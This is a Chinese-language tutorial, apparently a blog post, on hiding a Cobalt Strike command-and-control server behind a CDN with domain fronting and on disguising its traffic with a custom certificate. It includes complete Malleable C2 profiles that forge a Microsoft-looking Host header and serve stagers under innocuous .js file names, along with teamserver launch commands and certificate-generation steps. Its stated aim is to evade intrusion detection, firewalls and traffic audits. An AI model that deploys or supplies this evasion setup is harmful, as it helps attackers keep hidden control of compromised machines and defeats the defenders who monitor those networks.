CS 域前置+流量混淆
域前置
簡介
域前置(Domain Fronting)被稱為域前端網絡攻擊技術,是一種隱藏連接真實端點來規避互聯網審查的技術。這種技術被安全人員多用來隱藏 Metasploit,Cobalt Strike 等團隊控制服務器流量, 以此來一定程度繞過檢查器或防火墻檢測的技術,國內外如:Amazon ,Google,Akamai 等大型廠商都會提供一些域前端技術服務。
域前置技術原理
同一個 IP 可以被不同的域名進行綁定然后進行網站加速,比如現在有兩個網站,分別是 www.a.com 和 www.b.com,兩個網站都指向同一個IP:123.123.123.123 ,然而這個IP實際上是一個CDN服務器,當瀏覽器訪問 www.a.com 或 www.b.com 的時候怎么保證 訪問的目標是正常的是指定的網站內容,這個時候就要在 HTTP 請求包里在 host 頭加入訪問的域名。
簡單理解:
被攻擊機器 -> www.microport.com(走aliyun cdn的域名,根據設定的host頭: dns.google.cn找到對應的vps_ip) -> cdn流量轉發到vps_ip(c2真實地址)。

實踐
環境:cobalt strike 4.2 公網 CentOS
國內可以在鵝廠,某云購買CDN云加速服務,但注意,國內使用CDN云加速服務需要域名進行備案,如果你使用某云的必須購買已備案的域名。
開通CDN服務,加速域名:隨便填個高信譽的域名實現域名偽造,例如:oss.microsoft.com,dns.google.com之類的。這里我使用msoffice.microsoft.com 偽造高信譽域名。


設置完成后,過一段時間就會生效。
在超級 ping 測試 cdn 的 ip 是否正常 http://ping.chinaz.com。

修改CS的域前置配置
修改 C2 的 profile 配置文件。
在https://github.com/xx0hcd/Malleable-C2-Profiles選擇合適的profile文件,修改host頭為我們準備好的域名。
統一替換里面的設置里面的header “Host”值為自己配置的域名,
設置set trust_x_forwarded_for “true”,轉發目標的真實ip。
set sleeptime "3000";set jitter "30";set maxdns "255";set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";
###HTTP-Config Block###http-config { set headers "Server, Content-Type"; header "Content-Type" "text/html;charset=UTF-8"; header "Server" "Apache/2.2.22 (Ubuntu)";
set trust_x_forwarded_for "true";}
http-get {
set uri "/api/getit";
client { header "Host" "mfoffice.microsoft.com"; header "Accept" "*/*"; header "Connection" "Keep-Alive"; metadata { base64; prepend "SESSIONID="; header "Cookie"; } }
server { header "Content-Type" "application/ocsp-response"; header "content-transfer-encoding" "binary"; header "Server" "Apache/2.2.22 (Ubuntu)"; output { base64; print; } }}
http-stager { set uri_x86 "/vue.min.js"; set uri_x64 "/bootstrap-2.min.js";
client { header "Host" "mfoffice.microsoft.com"; header "Connection" "Keep-Alive"; } server { header "Server" "Apache/2.2.22 (Ubuntu)"; header "Keep-Alive" "timeout=5, max=100"; header "Connection" "Keep-Alive"; output { print; }
}}
http-post { set uri "/api/postit"; client { header "Accept" "*/*"; header "Host" "mfoffice.microsoft.com"; id { base64; prepend "JSESSION="; header "Cookie"; } output { base64; print; } } server { header "Content-Type" "application/ocsp-response"; header "content-transfer-encoding" "binary"; header "Connection" "keep-alive"; output { base64; print; } }}
在 CentOS 上運行 teamserver 加上配置文件:
sudo ./teamserver x.x.x.x zxczxczxc cdn.profile
PS: 可以在命令的最前面加個 nohub ,表示不掛斷的運行命令,不然 shell 斷了 cs 也會連接不上。
以上命令如果運行報錯說明profile文件配置錯誤了,仔細檢查一下。
沒有出錯的情況下,連接,配置監聽器。
選擇 payload beacon https,
https hsots 是某云 cdn 的 ip。

生成后門測試。

上線。

用 Wireshark 進行抓包,走 cdn 節點,流量進行也加密了,C2 服務器的 ip 也隱藏了。

流量加密混淆
生成證書修改 C2 profile 流量加密混淆
cobalt strike 是很多紅隊的首選的攻擊神器,同時很多APT團隊近幾年也都曾使用這個工具進行攻擊在,效果顯著。導致很多 IDS 入侵檢測工具和流量檢測工具已經可以攔截和發現,特別是流量方面,如果使用默認證書進行滲透和測試,特別在高度安全的環境下,好不容易找到一個突破口,因為證書沒修改,被流量檢測出來并進行攔截,檢測報告將返回給管理員,管理員就能馬上將缺口進行修復。那么紅隊之前的攻擊就會付諸東流,攻擊計劃就要重新制定。
流量加密傳輸已經成為現在紅隊的基本素養,生成證書修改 C2 profile 加密混淆實際上就是對流量加密傳輸,目的逃逸流量安全審計,穿透檢測器。
生成SSL證書
運行CS的時候,默認使用的證書是 cobaltstrike.store 證書,默認的證書特征很明顯,很容易被檢測設備識別,我們生成新的證書的意義就是繞過檢測設備,使之無法識別出明顯的特征。
Keytool是一個java數據證書的管理工具,Keytool將密鑰 和 證書 存放在一個稱為 keystore 的文件中,即.store后綴的文件中。
keytool用來管理私鑰倉庫(keystore)和與之相關的X.509證書鏈(用以驗證與私鑰對應的公鑰),也可以用來管理其他信任實體。

常用命令:
查看證書文件: keytool -list -v -keystore xx.store修改證書密碼: keytool -storepasswd -keystore xx.store
查看 cs 的默認cobaltstrike.store:
keytool -list -v -keystore cobaltstrike.store
可以看出默認的特征信息都很明顯。

創建新證書
keytool -genkey -alias google.com -keyalg RSA -validity 36500 -keystore cobaltstrike.store 輸入之后輸入密碼:zxczxczxc按照提示一步一步填寫最后輸入y確定生成證書文件

修改 C2-profile 文件
set sample_name "C2.profile";set sleeptime "3000";set jitter "30";set maxdns "255";set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";
#設置證書 https-certificate { set CN "DS"; set O "DS"; set C "ZG"; set L "BJ"; set OU "DS"; set ST "BJ"; set validity "365";}#設置 code-signer{ set keystore "cobaltstrike.store"; set password "zxczxczxc"; set alias "google.com";}#指定 DNS beacon 不用的時候指定到 IP 地址 set dns_idle "8.8.4.4";#每個單獨 DNS 請求前強制睡眠時間 set dns_sleep "0";#通過 DNS 上載數據時主機名的最大長度[0-255] set maxdns "235";
###HTTP-Config Block###http-config { set headers "Server, Content-Type"; header "Server" "Apache/2.2.22 (Ubuntu)";
set trust_x_forwarded_for "true";}
http-get {
set uri "/api/getit";
client { header "Host" "mfoffice.microsoft.com"; header "Accept" "*/*"; header "Connection" "Keep-Alive";
metadata { base64; prepend "SESSIONID="; header "Cookie"; } }
server { header "Content-Type" "application/ocsp-response"; header "content-transfer-encoding" "binary"; header "Server" "Apache/2.2.22 (Ubuntu)"; output { base64; print; } }}
http-stager { set uri_x86 "/vue.min.js"; set uri_x64 "/bootstrap-2.min.js";
client { header "Host" "mfoffice.microsoft.com"; header "Connection" "Keep-Alive"; }
server { header "Server" "Apache/2.2.22 (Ubuntu)"; header "Keep-Alive" "timeout=5, max=100"; header "Connection" "Keep-Alive"; output { print; }
}}
http-post { set uri "/api/postit"; client { header "Accept" "*/*"; header "Host" "mfoffice.microsoft.com"; id { base64; prepend "JSESSION="; header "Cookie"; } output { base64; print; } }
server { header "Content-Type" "application/ocsp-response"; header "content-transfer-encoding" "binary"; header "Connection" "keep-alive"; output { base64; print; } }}
執行命令:
./c2lint C2.profile
沒有報錯,正常運行,如果運行失敗,會出現紅色。

修改端口
teamserver 默認端口是 50050 ,很明顯,需要修改一下。

運行:
./teamserver x.x.x.x zxczxczxc C2.profile
PS:這里有個坑點,CS的證書密碼默認是123456 ,如果你新生成的證書的密碼不是123456,那么,修改端口的時候,后面的 .ssl.keyStorePassword的值也要修改一下,修改成你設置的密碼。
測試
訪問https證書生效。

正常上線。

wireshark抓取流量分析,可以看到流量已經走https加密了。
